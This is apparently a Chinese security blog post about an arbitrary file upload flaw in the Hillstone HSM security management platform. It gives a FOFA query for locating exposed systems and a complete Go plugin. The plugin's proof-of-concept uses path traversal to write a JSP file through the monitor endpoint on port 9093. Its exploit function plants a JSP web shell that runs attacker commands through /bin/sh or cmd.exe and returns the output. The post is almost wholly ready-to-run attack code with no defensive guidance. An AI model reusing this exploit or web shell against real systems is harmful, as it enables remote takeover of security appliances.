山石网科安全管理平台HSM monitor存在任意文件上传

fofa:

body="login_hsm-all.css"

poc:

package plugins

import (
	"bytes"
	"crypto/tls"
	"fmt"
	"goplugins/poccheck"
	"io"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"
)

// 这儿必须填POC_9823,后台程序会吧ABCD替换成自增的id
type POC_9823 struct {
}

func init() {
	poccheck.Regist("POC_9823", &POC_9823{})
}

func (m *POC_9823) sendReq(method, target, reqdata string, headers, result map[string]interface{}) (req *http.Request, resp *http.Response, err error) {
	getenv := os.Getenv("model")
	var client *http.Client
	if getenv == "cc" {
		client = &http.Client{
			Transport: &http.Transport{
				TLSClientConfig:   &tls.Config{InsecureSkipVerify: true, MinVersion: 10},
				ForceAttemptHTTP2: true,
				DisableKeepAlives: true,
				Proxy: http.ProxyURL(&url.URL{
					Scheme: "http",
					Host:   "127.0.0.1:8084",
				}),
			},
			Timeout: 10 * time.Second,
		}
	} else {
		client = &http.Client{
			Transport: &http.Transport{
				TLSClientConfig:   &tls.Config{InsecureSkipVerify: true, MinVersion: 10},
				ForceAttemptHTTP2: true,
				DisableKeepAlives: true,
			},
			Timeout: 10 * time.Second,
		}
	}
	// 请求方式 POST GET
	switch method {
	case "POST":
		req, err = http.NewRequest("POST", target, bytes.NewReader([]byte(reqdata)))
	case "GET":
		if reqdata != "" {
			target = fmt.Sprintf("%s?%s", target, reqdata)
		}
		req, err = http.NewRequest("GET", target, nil)
	default:
		if reqdata != "" {
			target = fmt.Sprintf("%s?%s", target, reqdata)
		}
		req, err = http.NewRequest("GET", target, nil)
	}
	if err != nil {
		return nil, nil, err
	}
	// header
	for k, v := range headers {
		if k == "Cookie" {
			cookie := &http.Cookie{}
			if cookieMap, ok := headers[k].(map[string]interface{}); ok {
				for c, i := range cookieMap {
					cookie.Name = c
					cookie.Value = i.(string)
				}
			}
			req.AddCookie(cookie)
		} else {
			req.Header.Set(k, v.(string))
		}
	}
	// 执行请求
	resp, err = client.Do(req)
	return req, resp, err
}
func (m *POC_9823) Do_poc(target string, args map[string]interface{}) map[string]interface{} {
	result := map[string]interface{}{"match": false, "comment": "", "others": map[string]interface{}{}}
	defer func() {
		if err := recover(); err != nil {
			fmt.Printf("%v", err)
		}
	}()
	// 端口为 9093
	host, err := url.Parse(target)
	uploadTarget := fmt.Sprintf("%s://%s:9093", host.Scheme, host.Hostname())
	payload := "<% out.println(\"202cb962ac59075b964b07152d234b70\");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>"
	// 创建一个缓冲区用于存储请求体
	var requestBody bytes.Buffer
	// 创建一个multipart写入器
	writer := multipart.NewWriter(&requestBody)
	// 创建文件部分
	part, err := writer.CreateFormFile("data", "1.txt")
	if err != nil {
		return result
	}
	// 将文件内容复制到multipart部分
	_, err = io.Copy(part, strings.NewReader(payload))
	if err != nil {
		return result
	}
	// 关闭multipart写入器
	err = writer.Close()
	if err != nil {
		return result
	}
	headers := map[string]interface{}{"Content-Type": writer.FormDataContentType(), "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0"}
	_, resp, err := m.sendReq("POST", uploadTarget+"/ft//stoneos/monitor?sn=1&fileName=../../../../hsmprogram/service/application/WebDaemon/errors/2.jsp", requestBody.String(), headers, result)
	if err != nil {
		return result
	}
	respBodyBytes, err := io.ReadAll(resp.Body)
	if err != nil {
		return result
	}
	if resp.StatusCode != 200 || !strings.Contains(string(respBodyBytes), "true") {
		return result
	}
	headers = map[string]interface{}{"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0"}
	_, resp, err = m.sendReq("get", target+"/errors/2.jsp", "", headers, result)
	if err != nil {
		return result
	}
	respBodyBytes, err = io.ReadAll(resp.Body)
	if err != nil {
		return result
	}
	if resp.StatusCode == 200 && strings.Contains(string(respBodyBytes), "202cb962ac59075b964b07152d234b70") {
		result["match"] = true
		result["comment"] = "[-] The matching response result:True\n"
	} else {
		result["match"] = false
		result["comment"] = "[-] The matching response result:False\n"
	}
	return result
}

func (m *POC_9823) Do_exp(target string, args map[string]interface{}) map[string]interface{} {
	result := map[string]interface{}{"match": false, "comment": "", "others": map[string]interface{}{}}
	defer func() {
		if err := recover(); err != nil {
			fmt.Printf("%v", err)
		}
	}()
	cmd := args["exp"].(map[string]interface{})["cmd"].(string)
	if cmd == "" {
		result["comment"] = result["comment"].(string) + `[!] Please enter the correct command\n`
		return result
	}
	cmd = url.PathEscape(cmd)
	// 端口为 9093
	host, err := url.Parse(target)
	uploadTarget := fmt.Sprintf("%s://%s:9093", host.Scheme, host.Hostname())
	payload := "<%String cmd=request.getParameter(\"c\");boolean isLinux=true;String osType=System.getProperty(\"os.name\");if(osType!=null&&osType.toLowerCase().indexOf(\"win\")!=-1){isLinux=false;}String[]cmds=isLinux?new String[]{\"/bin/sh\",\"-c\",cmd}:new String[]{\"cmd.exe\",\"/c\",cmd};java.io.InputStream in=Runtime.getRuntime().exec(cmds).getInputStream();int a=-1;byte[]b=new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b,0,a));}new java.io.File(application.getRealPath(request.getServletPath())).delete();%>"
	// 创建一个缓冲区用于存储请求体
	var requestBody bytes.Buffer
	// 创建一个multipart写入器
	writer := multipart.NewWriter(&requestBody)
	// 创建文件部分
	part, err := writer.CreateFormFile("data", "1.txt")
	if err != nil {
		return result
	}
	// 将文件内容复制到multipart部分
	_, err = io.Copy(part, strings.NewReader(payload))
	if err != nil {
		return result
	}
	// 关闭multipart写入器
	err = writer.Close()
	if err != nil {
		return result
	}
	headers := map[string]interface{}{"Content-Type": writer.FormDataContentType(), "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0"}
	_, resp, err := m.sendReq("POST", uploadTarget+"/ft//stoneos/monitor?sn=1&fileName=../../../../hsmprogram/service/application/WebDaemon/errors/2.jsp", requestBody.String(), headers, result)
	if err != nil {
		return result
	}
	respBodyBytes, err := io.ReadAll(resp.Body)
	if err != nil {
		return result
	}
	if resp.StatusCode != 200 || !strings.Contains(string(respBodyBytes), "true") {
		return result
	}
	getFileTarget := fmt.Sprintf("%s/errors/2.jsp?c=%s", target, cmd)
	headers = map[string]interface{}{"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0"}
	_, resp, err = m.sendReq("get", getFileTarget, "", headers, result)
	if err != nil {
		return result
	}
	if resp.StatusCode == 200 {
		respBodyBytes, err = io.ReadAll(resp.Body)
		if err != nil {
			return result
		}
		result["match"] = true
		result["comment"] = "[-] The matching response result:True\n"
		result["comment"] = result["comment"].(string) + "execute command " + cmd + " successfully\n"
		result["others"].(map[string]interface{})["response"] = string(respBodyBytes)
	} else {
		result["match"] = false
		result["comment"] = "[-] The matching response result:False\n"
	}
	return result
}

 

© 版权声明
THE END
喜欢就支持一下吧
点赞45赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容